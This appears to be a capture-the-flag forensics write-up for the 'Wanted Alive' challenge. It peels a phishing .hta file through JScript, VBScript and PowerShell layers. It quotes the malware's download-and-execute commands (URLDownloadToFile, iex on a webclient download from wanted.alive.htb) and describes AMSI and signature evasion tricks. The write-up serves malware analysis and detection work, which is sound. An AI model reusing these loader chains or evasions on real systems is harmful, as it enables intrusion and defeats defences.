Challenge Info

Spoiler

Wanted Alive peels back a phishing .hta attachment through nested JScript, obfuscated VBScript, and two chained PowerShell downloaders to reach a flag served over HTTP.

In the contrary the official HTB path and description of the challenge goes as follows:

Wanted Alive is an easy forensics challenge involving the analysis of two layers of obfuscation, including Jscript and VBScript based on real malware.

Artifacts Provided

  • wanted.hta — the malicious HTA attachment recovered from the bounty report.

No remote instance, no interaction — just static analysis down through the obfuscation layers to a flag served over HTTP.

Analysis

Reconnaissance — the .hta file

Dumped the raw file. Immediately obvious: triple-nested document.write(unescape("...")), forcing EmulateIE8 compatibility mode, wrapping a VbScript block full of garbage-cased variable names (OCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRL...).

1
2
<script language=JavaScript>m='<script language=JavaScript>m='<script><!--document.write(unescape("<script language=JavaScript>m='<script><!--document.write(unescape("<!DOCTYPE html><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8"><html><body>
<sCrIPT lANgUAge="VbScRipT"> ... </script></body></html>"));//--></script>';d=unescape(m);document.write(d);</script>

Peeling the JS layer is nothing more than repeated unescape() — no need for the stdlib urllib.parse.unquote, since JS unescape() also handles %uXXXX sequences that the Python one doesn’t:

1
2
3
4
5
6
import re

def js_unescape(s: str) -> str:
    def repl(m):
        return chr(int(m.group(1) or m.group(2), 16))
    return re.sub(r'%u([0-9A-Fa-f]{4})|%([0-9A-Fa-f]{2})', repl, s)

Stage 1 — VBScript wrapper

Under the noise, the VBScript does exactly three things:

' 1. instantiate WScript.Shell (Chr(&H57) = "W")
Set X = CreateObject(Chr(&H57) & "SCRIPT.shELL")

' 2. resolve powershell.exe path via ExpandEnvironmentStrings + Chr()/ChrW() codes
X.ExpandEnvironmentStrings(Chr(&H25) & ChrW(&H53) & ... & Chr(&H25)) & "\SYStEM32\WINdOwSpoweRSheLL\V1.0\PoWERshElL.ExE"

' 3. run it with a runtime-built -Command string to dodge static "FromBase64String" signatures
iex($(iEX('[SYsTeM.TeXt.EnCoding]'+[chAr]0X3A+[CHAr]0X3A+'uTf8.geTSTring([SYstem.ConVERT]'+[chAR]58+[CHAR]58+'fRoMBASE64string('+[CHar]0X22+"<BASE64>"+[cHar]0X22+'))')))

Chr(nn) / ChrW(&Hxx) resolves with one regex + a re.sub callback:

1
2
3
4
5
def vbs_chr_decode(s: str) -> str:
    def repl(m):
        val = m.group(1)
        return chr(int(val[2:], 16)) if val.lower().startswith('&h') else chr(int(val))
    return re.sub(r'Chr[W]?\((&[Hh][0-9A-Fa-f]+|\d+)\)', repl, s)

Stage 2 — first PowerShell / base64

Extracted the base64 blob and decoded it. The .NET-side call is [System.Text.Encoding]::UTF8.getString(...)UTF-8, not the default -EncodedCommand UTF-16LE — so decode accordingly or you get garbage:

1
2
3
4
import base64

b64 = "<extracted blob>"
print(base64.b64decode(b64).decode('utf-8'))
1
2
3
4
5
6
7
$ea6c8mrT = Add-Type -MemberDefinition '[DllImport("urlmon.dll", CharSet = CharSet.Unicode)]
public static extern IntPtr URLDownloadToFile(IntPtr PG,string Cfmr,string aUvyVBRD,uint ffYlDol,IntPtr oFXrIh);' `
  -Name "SuxtPIBJxl" -Namespace nIYp -PassThru

$ea6c8mrT::URLDownloadToFile(0, "http://wanted.alive.htb/35/wanted.tIF", "$env:APPDATA\wanted.vbs", 0, 0)
Start-Sleep(3)
start "$env:APPDATA\wanted.vbs"

P/Invoke into urlmon.dll!URLDownloadToFile instead of Invoke-WebRequest/Net.WebClient — sidesteps AMSI/logging hooks that specifically watch the latter two. Drops the next stage to %APPDATA%\wanted.vbs (despite the .tIF extension on the wire — extension mismatch is itself a signal worth flagging).

Stage 3 — wanted.tIF, a trojanized winrm.vbs

Pulled http://wanted.alive.htb/35/wanted.tIF directly. Turns out to be a modified copy of Microsoft’s real winrm.vbs — functions like CreateSession, GetElementByXpath, ReFormat are genuine WSMan internals, kept intact as camouflage. The malicious block is bolted on at the top, gated by:

If Not mesor() Then   ' true when NOT running under cscript.exe

Payload is built via arran = arran & "..." concatenation, where every real character is interleaved with a literal junk token — d2FudGVkCg, which is itself base64("wanted"), a signature nod to the box/domain name:

Function descortinar(ByVal descair, ByVal brita, ByVal chincharel)
    ' hand-rolled str.replace() — VBScript has no native equivalent
    Dim sulfossal
    sulfossal = InStr(descair, brita)
    Do While sulfossal > 0
        descair = Left(descair, sulfossal - 1) & chincharel & Mid(descair, sulfossal + Len(brita))
        sulfossal = InStr(sulfossal + Len(chincharel), descair, brita)
    Loop
    descortinar = descair
End Function

Reassembled and stripped the junk token programmatically instead of by hand:

1
2
3
4
5
6
7
JUNK = "d2FudGVkCg"

arran_parts = re.findall(r'arran = arran & "([^"]*)"', content)
lat_parts   = re.findall(r'latifoliado = latifoliado & "([^"]*)"|latifoliado = "([^"]*)"', content)

combined = "".join(arran_parts) + "".join(a or b for a, b in lat_parts)
clean    = combined.replace(JUNK, "")

Stage 4 — second PowerShell / flag retrieval

Cleaned output contains a final base64 blob. Decoded:

1
base64.b64decode(b64).decode()
1
2
3
4
Set-ExecutionPolicy Bypass -Scope Process -Force
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((new-object system.net.webclient).downloadstring('http://wanted.alive.htb/cdba/_rp'))))

Disables cert validation, forces TLS 1.2 (-bor 3072), then pulls and iex’s whatever http://wanted.alive.htb/cdba/_rp returns.

Full chain

.hta
  └─ JS unescape() ×3
      └─ VBScript (Chr()/ChrW() obfuscation)
          └─ PowerShell #1 (base64, UTF-8) → URLDownloadToFile
              └─ wanted.tIF  (trojanized winrm.vbs, junk-token stuffed)
                  └─ PowerShell #2 (base64, UTF-8) → iex(webclient.downloadstring(...))
                      └─ FLAG
Tip
Every stage here uses a different dodge for the same problem (hiding a base64-decode-and-execute from static/behavioral detection): runtime string concatenation, P/Invoke instead of common cmdlets, junk-token stuffing, TLS enforcement + cert-check bypass. Worth keeping as a reference pattern set for future DaC/detection-engineering work.

Visiting that URL directly returns the flag — the final hop of the chain.